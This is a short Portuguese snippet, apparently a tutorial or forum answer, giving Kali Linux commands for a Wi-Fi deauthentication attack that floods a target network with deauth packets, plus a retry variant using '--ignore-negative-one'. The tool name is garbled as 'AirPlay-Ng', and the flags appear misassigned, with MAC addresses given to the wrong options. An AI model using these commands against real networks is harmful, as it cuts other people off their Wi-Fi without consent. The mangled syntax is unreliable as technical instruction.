Quando você faz o ataque AirPlay, geralmente precisa interromper o processo de airodump e especificar todas as informações necessárias, como
Root@kali $: AirPlay-Ng -0 0 -e [target wifi mac] -a [target station mac] mon0
E se isso não funcionar, aplique a opção '--ignore-negative-one'
Root@kali $: AirPlay-Ng -0 0 -e [target wifi mac] -a [target station mac] --ignore-negative-one mon0